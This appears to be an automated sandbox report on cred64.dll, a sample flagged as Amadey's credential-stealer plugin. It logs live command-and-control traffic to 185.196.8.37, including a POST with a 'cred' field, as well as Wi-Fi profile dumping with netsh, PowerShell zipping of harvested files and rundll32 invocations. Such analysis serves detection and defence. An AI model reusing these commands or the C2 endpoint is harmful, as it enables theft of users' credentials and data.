Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37

Source: unknown

HTTP traffic detected: POST /Gd85kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.196.8.37Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=

Source: rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1518302251.0000016315491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/
Source: rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/5
Source: rundll32.exe, 00000006.00000002.1513737500.000001E8C5C0B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.1584469285.000001D6A168A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php
Source: rundll32.exe, 00000007.00000002.1518302251.000001631547B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php#
Source: rundll32.exe, 00000007.00000002.1518302251.000001631547B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php%
Source: rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1518302251.000001631540C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1518302251.0000016315491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php?wal=1
Source: rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php?wal=1(
Source: rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php?wal=1=
Source: rundll32.exe, 00000007.00000002.1518302251.000001631547B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php?wal=1XyH
Source: rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php?wal=1b
Source: rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php?wal=1es5
Source: rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php?wal=1rer
Source: rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php?wal=1s
Source: rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/ds
Source: rundll32.exe, 00000007.00000002.1518302251.0000016315491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/indows.Explorer_RecentFiles_
Source: rundll32.exe, 00000007.00000002.1518302251.0000016315491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/lorer_RecentFilesl
Source: rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/t%
Source: powershell.exe, 00000016.00000002.1572082555.00000191CB91E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 0000000E.00000002.1356866325.000002C920496000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1419781847.0000025AB8226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA9A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1556863024.00000191C3645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000E.00000002.1356866325.000002C91ECF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA83D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000E.00000002.1356866325.000002C91EAD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA81B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1401642278.00000191B35D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.1356866325.000002C91ECF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA83D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000016.00000002.1570736869.00000191CB89A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 0000000E.00000002.1356866325.000002C91EAD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA81B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1401642278.00000191B35D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 0000000E.00000002.1356866325.000002C9200F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA97DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1401642278.00000191B4BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 00000016.00000002.1556863024.00000191C3645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000016.00000002.1556863024.00000191C3645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000016.00000002.1556863024.00000191C3645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000E.00000002.1356866325.000002C920496000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1419781847.0000025AB8226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA9A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1556863024.00000191C3645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

Malicious sample detected (through community Yara rule)

Source: cred64.dll.dll, type: SAMPLE

Matched rule: Finds Amadey\'s stealer plugin based on characteristic strings Author: Sekoia.io

Source: cred64.dll.dll, type: SAMPLE

Matched rule: loader_amadey_stealer_plugin author = Sekoia.io, description = Finds Amadey\'s stealer plugin based on characteristic strings, creation_date = 2023-05-16, classification = TLP:CLEAR, version = 1.0, id = 50154e39-98b3-40e5-8986-18bbb7b15647

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winDLL@32/22@0/1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7956:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7808:120:WilError_03

Source: C:\Windows\System32\rundll32.exe

File created: C:\Users\user\AppData\Local\Temp\_Files_\

Jump to behavior

Source: cred64.dll.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\cred64.dll.dll,Main

Source: rundll32.exe, 00000006.00000002.1513737500.000001E8C5BA9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1518302251.000001631540C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.1584469285.000001D6A1628000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: cred64.dll.dll	ReversingLabs: Detection: 68%
Source: cred64.dll.dll	Virustotal: Detection: 77%

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\cred64.dll.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\cred64.dll.dll,Main
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",#1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\cred64.dll.dll,Save
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",Main
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",Save
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\cred64.dll.dll,Main	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\cred64.dll.dll,Save	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",Main	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",Save	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",#1	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
